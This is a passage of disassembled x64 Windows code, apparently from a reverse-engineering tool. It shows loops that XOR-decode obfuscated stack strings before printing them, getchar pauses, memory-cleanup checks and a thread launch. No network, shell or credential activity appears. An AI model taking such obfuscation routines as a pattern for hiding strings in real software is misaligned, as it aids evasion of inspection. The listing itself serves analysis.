pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x68]
xorps xmm2, xmm1
movd dword [rbp + 0x68], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm6
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x6c]
xorps xmm2, xmm1
movd dword [rbp + 0x6c], xmm2
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm14
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm14
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rbp + 0x70], xmm2
mov r8d, 0x14
mov eax, r8d
lea r9, [rbp + 0x60]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140020af0
lea rcx, [rbp + 0x60]
call fcn.1400021c0
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov r8, qword [rbp + 0x110]
mov rdx, r12
lea rcx, [rbp + 0x290]
call fcn.140011080
mov r8d, edi
test al, al
jne 0x140020cff
movups xmm0, xmmword [0x140029eb8]
movups xmmword [rbp + 0xd8], xmm0
movsd xmm0, qword [0x140029ec8]
movsd qword [rbp + 0xe8], xmm0
mov eax, dword [0x140029ed0]
mov dword [rbp + 0xf0], eax
movzx eax, byte [0x140029ed4]
mov byte [rbp + 0xf4], al
cmp r15d, 2
jl 0x140020ca7
movdqa xmmword [rbp + 0x40], xmm10
lea rcx, [rbp + 0xd8]
mov edx, dword [rbp + 0x40]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
lea r14d, [r14 + 8]
cmp r8d, 0x18
jl 0x140020bb0
cmp r8d, 0x1d
jge 0x140020cf3
movsxd rax, r8d
lea r9, [rbp + 0xd8]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x140020cc0
lea rcx, [rbp + 0xd8]
jmp 0x14002061a
movups xmm2, xmmword [0x140029cc8]
movups xmmword [rbp + 0xd8], xmm2
movsd xmm0, qword [0x140029cd8]
movsd qword [rbp + 0xe8], xmm0
movzx eax, word [0x140029ce0]
mov word [rbp + 0xf0], ax
movzx eax, byte [0x140029ce2]
mov byte [rbp + 0xf2], al
cmp r15d, 2
jl 0x140020fdf
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm7, xmm0
andps xmm7, xmm9
packuswb xmm7, xmm7
packuswb xmm7, xmm7
movd ecx, xmm10
movd xmm0, ecx
paddb xmm7, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm7, xmm0
movd dword [rbp + 0xd8], xmm7
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm11, xmm0
andps xmm11, xmm9
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, ecx
paddb xmm11, xmm0
movd xmm1, dword [rbp + 0xdc]
xorps xmm11, xmm1
movd dword [rbp + 0xdc], xmm11
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm13, xmm0
andps xmm13, xmm9
packuswb xmm13, xmm13
packuswb xmm13, xmm13
movd xmm0, ecx
paddb xmm13, xmm0
movd xmm1, dword [rbp + 0xe0]
xorps xmm13, xmm1
movd dword [rbp + 0xe0], xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm6
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm15, xmm0
andps xmm15, xmm9
packuswb xmm15, xmm15
packuswb xmm15, xmm15
movd xmm0, ecx
paddb xmm15, xmm0
movd xmm1, dword [rbp + 0xe4]
xorps xmm15, xmm1
movd dword [rbp + 0xe4], xmm15
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm14
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm14, xmm0
andps xmm14, xmm9
packuswb xmm14, xmm14
packuswb xmm14, xmm14
movd xmm0, ecx
paddb xmm14, xmm0
movd xmm1, dword [rbp + 0xe8]
xorps xmm14, xmm1
movd dword [rbp + 0xe8], xmm14
movdqa xmm2, xmmword [0x140030d20]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xec]
xorps xmm2, xmm1
movd dword [rbp + 0xec], xmm2
mov r8d, 0x18
mov eax, r8d
lea r9, [rbp + 0xd8]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x140020ff0
lea rcx, [rbp + 0xd8]
call fcn.1400021c0
xorps xmm1, xmm1
xor eax, eax
movups xmmword [rsp + 0x50], xmm1
mov qword [rbp - 0x40], rax
mov word [rsp + 0x50], 1
mov eax, dword [rbp + 0x5e0]
mov dword [rsp + 0x54], eax
mov byte [rsp + 0x52], 0x11
mov rax, qword [rbp + 0x5d0]
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax + 0x20], xmm1
movups xmmword [rax + 0x30], xmm1
movups xmmword [rax + 0x40], xmm1
movups xmmword [rax + 0x50], xmm1
movups xmmword [rax + 0x60], xmm1
movsd xmm0, qword [rbp - 0x40]
movsd qword [rax + 0x70], xmm0
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov ebx, eax
mov rcx, qword [rbp + 0x128]
test rcx, rcx
je 0x1400210e1
mov rdx, qword [rbp + 0x138]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400210ca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400210ca
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140025c94
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x128], xmm0
mov qword [rbp + 0x138], rdi
lea r8, [rbp + 0x1c0]
mov rdx, qword [rbp + 0x1b8]
lea rcx, [rbp + 0x1b0]
call fcn.140024920
lea r8, [rbp + 0x1d0]
mov rdx, qword [rbp + 0x1c8]
lea rcx, [rbp + 0x1b0]
call fcn.140024920
nop
mov rcx, qword [rbp + 0x5b0]
test rcx, rcx
je 0x140021164
mov rdx, qword [rbp + 0x5c0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002114d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002119b
call fcn.140025c94
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x5b0], xmm0
mov qword [rbp + 0x5c0], rdi
mov rcx, qword [rbp + 0x580]
test rcx, rcx
je 0x1400211b9
mov rdx, qword [rbp + 0x590]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400211a2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400211a2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140025c94
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x580], xmm0
mov qword [rbp + 0x590], rdi
mov rcx, qword [rbp + 0x158]
test rcx, rcx
je 0x140021207
mov rdx, qword [rbp + 0x168]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400211f0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002123e
call fcn.140025c94
mov qword [rbp + 0x158], rdi
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x160], xmm0
mov rcx, qword [rbp + 0x140]
test rcx, rcx
je 0x14002125c
mov rdx, qword [rbp + 0x150]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021245
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140021245
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140025c94
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x150], rdi
mov rcx, qword [rbp + 0x190]
test rcx, rcx
je 0x14001a72b
mov rdx, qword [rbp + 0x1a0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a726
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001a726
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov qword [0x140036cc8], r12
lea rax, [rbp + 0x5d0]
mov qword [0x140036cc0], rax
mov r8d, 0x3a0
lea rcx, [rbp + 0x8c0]
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
movups xmmword [rbp + 0x8d8], xmm0
movups xmmword [rbp + 0x8e8], xmm0
movups xmmword [rbp + 0x8f8], xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x8c8], xmm1
mov rbx, 0xffffffffffffffff
mov dword [rbp + 0x908], ebx
mov dword [rbp + 0x8c0], 2
mov dword [rbp + 0x90c], edi
movdqu xmmword [rbp + 0x910], xmm0
mov qword [rbp + 0x920], rdi
lea rax, [rbp + 0x928]
lea rcx, [rbp + 0x5d0]
mov edx, 5
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140021330
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
mov qword [rbp + 0xc18], r12
mov qword [rbp + 0xc48], rdi
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xc50], xmm0
movups xmmword [rbp + 0xd8], xmm0
mov ecx, 0x20
call fcn.140025c50
mov dword [rax], 1
mov dword [rax + 4], 2
xor edx, edx
mov qword [rax + 8], rdx
mov qword [rax + 0x10], rdi
mov dword [rax + 0x18], edi
mov qword [rbp + 0xe8], rax
mov ecx, 8
call fcn.140025c50
lea rcx, [rbp + 0x8c0]
mov qword [rax], rcx
mov qword [rbp + 0x50], rax
lea rcx, [rbp + 0xe0]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], edi
mov r9, rax
lea r8, [0x1400243d0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0xd8], rax
test rax, rax
je 0x1400215d1
cmp dword [rbp + 0xe0], 0
je 0x1400215c5
movups xmm0, xmmword [rbp + 0xd8]
movaps xmmword [rbp + 0x60], xmm0
lea rcx, [rbp + 0x60]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400215c5
xorps xmm0, xmm0
movups xmmword [rbp + 0xd8], xmm0
mov rcx, qword [rbp + 0xe8]
test rcx, rcx
je 0x1400214b4
mov eax, 0xfffffffe
lock xadd dword [rcx + 4], eax
and eax, 0xfffffffe
cmp eax, 2
jne 0x1400214b4
lock xadd dword [rcx], ebx
cmp ebx, 1
jne 0x1400214b4
mov edx, 0x20
call fcn.140025c94
cmp dword [rbp + 0xe0], 0
je 0x1400214c4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
lea rcx, [rbp + 0xc48]
call fcn.140021a50
lea rcx, [rbp + 0x910]
call fcn.140021a50
xorps xmm1, xmm1
xor eax, eax
movups xmmword [rsp + 0x50], xmm1
mov qword [rbp - 0x40], rax
mov word [rsp + 0x50], 1
mov eax, dword [rbp + 0x5e0]
mov dword [rsp + 0x54], eax
mov byte [rsp + 0x52], 0x11
mov rax, qword [rbp + 0x5d0]
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax + 0x20], xmm1
movups xmmword [rax + 0x30], xmm1
movups xmmword [rax + 0x40], xmm1
movups xmmword [rax + 0x50], xmm1
movups xmmword [rax + 0x60], xmm1
movsd xmm0, qword [rbp - 0x40]
movsd qword [rax + 0x70], xmm0
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov ebx, eax
mov rcx, qword [rbp + 0x158]
test rcx, rcx
je 0x140021587
mov rdx, qword [rbp + 0x168]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021570
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400215be
call fcn.140025c94
mov qword [rbp + 0x158], rdi
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x160], xmm0
mov rcx, qword [rbp + 0x140]
test rcx, rcx
je 0x1400215fa
mov rdx, qword [rbp + 0x150]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400215e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400215e3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0xe0], edi
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
call fcn.140025c94
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x150], rdi
mov rcx, qword [rbp + 0x190]
test rcx, rcx
je 0x14001a72b
mov rdx, qword [rbp + 0x1a0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a726
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001a726
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
movups xmm0, xmmword [0x14002a028]
movups xmm1, xmmword [0x14002a038]
movzx eax, byte [0x14002a048]
movups xmmword [rbp + 0x80], xmm0
movups xmmword [rbp + 0x90], xmm1
mov byte [rbp + 0xa0], al
cmp r15d, 2
jl 0x140021782
movdqa xmmword [rbp + 0x40], xmm10
lea rcx, [rbp + 0x80]
mov edx, dword [rbp + 0x40]
nop word [rax + rax]
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdi + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edi, 8
lea rcx, [rcx + 8]
lea r14d, [r14 + 8]
cmp edi, 0x20
jl 0x140021690
cmp edi, 0x21
jge 0x1400217bf
movsxd rax, edi
lea r8, [rbp + 0x80]
add r8, rax
nop
mov eax, 0xa0a0a0a1
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, dil
sub al, cl
add al, 0x39
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x21
jl 0x140021790
lea rcx, [rbp + 0x80]
call fcn.1400021c0
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov ebx, eax
mov rcx, qword [rbp + 0x190]
test rcx, rcx
je 0x14001a72b
mov rdx, qword [rbp + 0x1a0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a726
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001a726
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140002ab0
nop
call fcn.140002ab0
nop
lea r8, [rbp + 0x80]
lea rdx, [rbp + 0x110]
lea rcx, str.absolute
call fcn.140015ca0
int3